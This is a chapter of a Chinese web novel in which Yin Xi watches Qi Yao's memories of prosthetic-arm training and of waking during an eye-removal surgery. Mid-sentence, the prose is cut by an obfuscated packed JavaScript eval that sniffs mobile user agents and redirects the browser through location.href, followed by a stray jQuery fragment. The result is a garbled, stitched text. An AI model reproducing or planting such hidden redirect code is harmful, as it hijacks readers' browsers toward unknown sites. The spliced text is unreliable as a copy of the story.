尹希其实根本触碰不到少年的躯干,举起的手就算收紧也不过是揽到一场空。
但是少年就在那里,她熟悉的背影就在眼前。
但没有人能瞧见的时候,本就应该是放下所有顾虑顺应本心的时候。
四周的空气像是被火焰烧灼,景象渐渐扭曲、变形、融化……
色块相互吞没,齐遥身着寝衣的背影也随着背影溶成一片黑。
视线再次重新聚集时,眼前的场景又已是截然不同。
这次不需要再去寻找记忆的主人,齐遥就安静地坐在她面前。
同先前差别并不大的背影,大抵还是他十六岁时的回忆。
四周的灯光打在他崭新的金属手臂上,冷白的光泽与他身上的汗水交织,显得格外突兀。
他伸展了一下义肢,动作生硬,远不及大赛时的轻松自然。
“再来。”他伸手将打湿的额发撩起,声音低沉却不容拒绝。
尹希这才看见,就在这个演武场的另一侧,正站着一位身材魁梧的战士。
战士依言执剑上前,双手紧握于剑柄之处,脖颈处青筋可见。
很显然毫无留手的意思。
齐遥以左手接刃,同时从臂侧抽出那柄长刀——
太慢了,哪怕是尹希都能看得出来。
刀锋在空中被对方轻易挑起,溅起火星。
齐遥刚起势挥砍未蓄足力量,被这么一挑,长刀在空中划出一道弧线后重重插入了地里。
还没来得及重新拾起刀,他便闷哼一声,扶着肩膀险些跪地。
“止夜陛下!”一个人影从场外奔入,尹希认得出那是之前那个干练的青年女子,“是机械出现故障了吗?”
齐遥咬住下唇,似乎是想用另一种疼痛平息自己身躯无法克制的颤抖。
半晌,他才重新站了起来,摇了摇头:“不是它的问题,只是……我对于它还不太适应。”
“接触面理论上已经恢复到了安全的范围,”女子在他的义肢与躯干的链接处喷了些喷雾,“幻痛还那么严重吗?”
齐遥点头应下,随后又补充道:“而且它的重量破坏了我的身体平衡,也会影响我的行动速度。”
“毕竟是金属,为了保证力量和硬度就不可能做到跟原生臂膀一样重。”女子检查着义肢,另一只手在空中按动。
大概是在用什么尹希看不懂的装置记录义肢的数据。
在确定她记录完了一切后,齐遥走过去将自己的长刀重新拔起。
他重新调整呼吸,对眼前的战士点头示意道:“再来。”
刀光剑影交错。
金属手臂不断地震动,仿佛在与他的血肉作对。
汗水顺着下颌滴落,齐遥的动作仍旧频频停顿,有些甚至是连尹希都能觉察出的破绽。
又是一记重击,他被逼退数步。齐遥低头看着颤抖的手,眸光一瞬间暗淡,随后又紧紧攥住了拳。
“我需要尽快进行下一场手术。”他走到那位看样子负责科技相关内容的女子面前。
“嗯?”女子皱了皱眉,“您的意思是?”
“力量,我可以练。”齐遥指了指自己的左臂,“但速度上受到的限制,需要借助外力才能突破。”
很显然,女人听懂了他的需求,她低下身去用指尖寻找到齐遥大概的跟腱端点:“这种情况下,可能会需要往这里面植入一些装置。”
“但是如您所见,所有的改造都会有不可避免的排异反应,您也需要用额外的时间来适应它。”
齐遥叹了口气,像是帮助自己下定了决心:“所以更需要尽快完成手术,我只有三年的时间。”
三年……尹希凑得很近,观察着那支泛着金属光泽的义肢。
从他现在这样,到现在在大赛中数一数二的强大实力,他居然只用了三年。
眼前的义肢忽然碎裂成无数碎片,在尹希感到讶异之前,整个世界化作了无数残片。
碎片重新排列重组着,像是有生命一样。
眼前的画面缓慢拼合,将被动的观众带入了下一段回忆。
无影灯刺眼地打在齐遥的面上。
“麻醉开始。”医生的声音隔着口罩,模糊而遥远,好像还有一声橡胶手套带上时的脆响。
冰冷的液体顺着血管涌入,这种程度的刺痛齐遥早已近乎免疫。
他感觉四肢逐渐失去重量,意志随之沉入黑暗。
沉入黑暗……
却又复而清醒过来。
黑。
黑。
全是黑。
可在黑暗之中,他却能清楚感受到眼皮被撑开的力量。
金属器械冰冷刺骨,像是要把皮肉一点点剥开。
呼吸急促,他喉咙像被什么堵住,却发不出声。
“刀。”他听见有人在说。
话音落下的瞬间,他的眼球被触碰。
……那是一种无法形容的撕裂感,仿佛连灵魂都被拖曳出来。
疼。
一层层血肉被切开。
疼。
每一寸神经都在燃烧。
他的意识在嘶喊,可是他张不开嘴。
他只是“安详”地躺在手术台上,任由医护人员在他的眼眶间操作着。
他清楚地感受到眼球被摘下的每一个过程,更能感受到那种锥心的疼痛。
清醒。
清醒到发疯。
他甚至能感受到每一滴汗从额角滚落,能感受到手术刀如何在皮肉间游走,能感受到血液从眼眶流下时的温热。
痛。
冷。
死不了。
他死不了。
黑暗在收紧,像要把他整个人挤碎。齐遥的意识疯狂挣扎,却无济于事。
他无处可逃。
他看不见了。
却比任何时候都“看得见”。
齐遥的指尖抽搐,血管中冰冷的液体持续灌入着,可他依旧清醒。
疼痛一波接一波。
他开始怀疑,自己是不是再也睡不着了。
是不是永远都只能清醒着,感受刀子一次次剖开身体。
幻痛。
幻痛。
金属义肢、被改造的肌肉与骨骼、正在被摘除的眼球……
所有的痛都交叠在一起。
伴随着血液在血管中或者血管外流动,齐遥几乎是庆幸地意识到自己的意识再次开始模糊了。
但很显然,别的人却慌了神。
“检查生命体征!”
“心率下降——不对,这不是因为失血!”
“先给他打一针胰岛素,快!”
好吵……好困……
他开始听不清四周的声音了,好像有人在大喊着什么“麻醉”,什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266991|181690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么“抗性”,什么“术中知晓”……
医生们的声音慌乱而重叠。
尹希站在一旁,看着医生们惊慌却又有序地组织着抢救。
她并不担心这场手术的结果,因为她知道,在未来齐遥还会和她相遇。
还会展示给她自己那只同样澄澈的义眼。
她明明是知道的。
但是为什么还会因此感到悲伤呢?
她走上前去,虚握着齐遥微微蜷曲的手指。
为什么会悲伤呢?
她好像在营销号的内容里曾经读到过那些医生提及的名词——
“术中知晓”,意味着患者在全麻手术中苏醒,可以感知到一些苦痛却无法挣扎求助。
一定很痛吧?
不仅是此时此刻,更是他之前所承受的所有痛苦。
早早离世的双亲、接受改造的副作用……
三年……所以他现在也才十九岁。
背负着这一切走到今天的齐遥,也才只有十九岁。
四周再次黯淡下来,黑暗之中,是无数条丝带交织着,散发出微弱的光亮。
尹希的指尖从一条条丝带上点过,思绪却飘得很远。
没有人知道,其实她曾多么羡慕齐遥。
不论是他在大赛中那傲人的成绩,还是他出身贵族的身份。他好像生来就拥有尹希渴望获得的一切。
那些敬仰的目光、那些称得上是盲目的崇拜,这都是尹希渴望的。
甚至是她愿意用生命去换的。
至少曾经是如此。
但她好像从来没有真的感受到过那种被期待裹挟的无奈,被爱戴堆压的重量。
她一步步向前走着,无数丝带随着她的步子让开一条道路,她不知道究竟要走多久才能走出这片荒芜的黑暗。
脑海中好像又回响起了先前齐遥的声音,尹希有些自嘲地笑了笑。
就像自己看见了齐遥的回忆一样,他是不是也同自己一样重温了她过往的不堪?
那为什么还能说出那样的话呢?
耳边好像响起了阵阵铃声……这样的声音让她想起了白子的面庞。
她获取密匙不是为了取得能力上的突破,争取在比赛中一搏的资格的吗?
怎么现在变成在这悲春伤秋了?
这么想着,尹希沿着着由丝带让出的小径向远处跑去。
她不知道自己到底在为什么而狂奔,但她知道此时此刻她不能停下来。
而在她不知道的地方,也正有人在狂奔着。
“咔——”一声脆响在白子耳边响起。
她停下脚步,抚上原本卡在耳蜗中的海螺状通讯器,却发现它已经碎作齑粉。
她回过头,对月林和铃木茂说道:“希希他们出事了。”
“怎么回事?”铃木茂扶着膝盖喘着气,长时间的奔跑让他的体力也有些告竭。
“我这的通讯器忽然碎了,”白子有些心焦地蹙起眉,“唯一的可能是在希希那的通讯器受到了破坏。”
“所以他们是受到了他人的袭击,”月林呲了呲牙,“明明是公平竞争,怎么有些人总是会做这种不择手段的事。”
“我们得去支援他们。”白子做出了决断,随后却又面露难色,“但是我们怎么知道他们在哪?”
铃木茂扶了扶有些下滑的眼镜,“这个问题我倒是可以解决。”